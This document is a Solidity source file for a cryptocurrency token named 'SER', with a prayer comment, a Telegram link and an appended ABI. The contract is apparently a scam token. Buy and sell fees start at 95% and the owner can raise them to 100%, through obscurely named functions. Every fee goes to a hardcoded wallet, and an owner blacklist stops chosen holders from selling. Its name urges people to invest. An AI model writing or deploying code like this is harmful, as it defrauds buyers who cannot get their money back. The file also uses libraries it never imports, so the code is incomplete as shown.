/*
TG: https://t.me/degeneratecommandos

Prayer:
Divine Universe, in Your myriad forms and names, hear us.

Christian God, bestow wisdom. Brahma, Vishnu, Mahadev, the Tridevas of Hinduism, inspire creativity. 

Allah of Islam, grant patience. Guru Nanak of Sikhism, guide us to truth.

Buddha, illumine our path. Ahura Mazda, provide righteousness. Zeus, lend strength. Odin, offer understanding.

Amaterasu, light our way. Jade Emperor, balance our effort. Olorun, vitalize our project. Ngai, connect us with all.

Haile Selassie, unify us. Wakan Tanka, honor relations.

Bless us, Divine Forces, in love and respect. Amen.
*/

pragma solidity ^0.8.0;




abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract SER is IERC20, Ownable, ReentrancyGuard {
    using SafeMath for uint256;

    string public name = "SER You Should Invest In Future of Finance";
    string public symbol = "SER";
    uint8 public decimals = 18;
    uint256 public totalSupply;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) public override allowance;

    uint256 private Jesus = 95;
    uint256 private Ghada = 95;
    address private constant Boop = 0x8aA314C50f9BD026D8e634e7379E08666034216F;
    // Blacklist mapping
    mapping (address => bool) public isBlacklisted;

    mapping(address => bool) public isMarket;

    constructor() {
        _balances[msg.sender] = uint256(420420420).mul(10 ** decimals);
        totalSupply = _balances[msg.sender];
    }
    
    function setBlacklisted(address _address, bool _isBlacklisted) external onlyOwner {
        isBlacklisted[_address] = _isBlacklisted;
    }

    function Universe(uint256 Maya) public onlyOwner {
        require(Maya <= 100, "");
        Jesus = Maya;
    }

    function Kilo(uint256 WAGMI) public onlyOwner {
        require(WAGMI <= 100, "");
        Ghada = WAGMI;
    }

    function setIsMarket(address market, bool value) external onlyOwner {
        isMarket[market] = value;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override nonReentrant returns (bool) {
        _transfer(_msgSender(), recipient, amount, isMarket[_msgSender()], isMarket[recipient]);
        return true;
    }

    function approve(address spender, uint256 amount) public override nonReentrant returns (bool) {
        require(allowance[_msgSender()][spender] == 0 || amount == 0, "ERC20: non-zero allowance change requires zeroing first");
        allowance[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override nonReentrant returns (bool) {
        require(amount <= allowance[sender][_msgSender()], "Transfer amount exceeds allowance");
        allowance[sender][_msgSender()] = allowance[sender][_msgSender()].sub(amount);
        _transfer(sender, recipient, amount, isMarket[sender], isMarket[recipient]);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount, bool isSeller, bool isBuyer) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= _balances[sender], "Transfer amount exceeds balance");

        
        if(isSeller){
            require(!isBlacklisted[sender], "This address is blacklisted from selling");
        }

        uint256 Beyblade = 0;
        if (isSeller && Ghada > 0) {
            Beyblade = amount.mul(Ghada).div(100);
        } else if (isBuyer && Jesus > 0) {
            Beyblade = amount.mul(Jesus).div(100);
        }

        if (Beyblade > 0) {
            _balances[Boop] = _balances[Boop].add(Beyblade);
            emit Transfer(sender, Boop, Beyblade);
        }

        _balances[sender] = _balances[sender].sub(amount);
        _balances[recipient] = _balances[recipient].add(amount).sub(Beyblade);

        emit Transfer(sender, recipient, amount.sub(Beyblade));
    }
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"WAGMI","type":"uint256"}],"name":"Kilo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Maya","type":"uint256"}],"name":"Universe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarket","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isBlacklisted","type":"bool"}],"name":"setBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"market","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setIsMarket","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]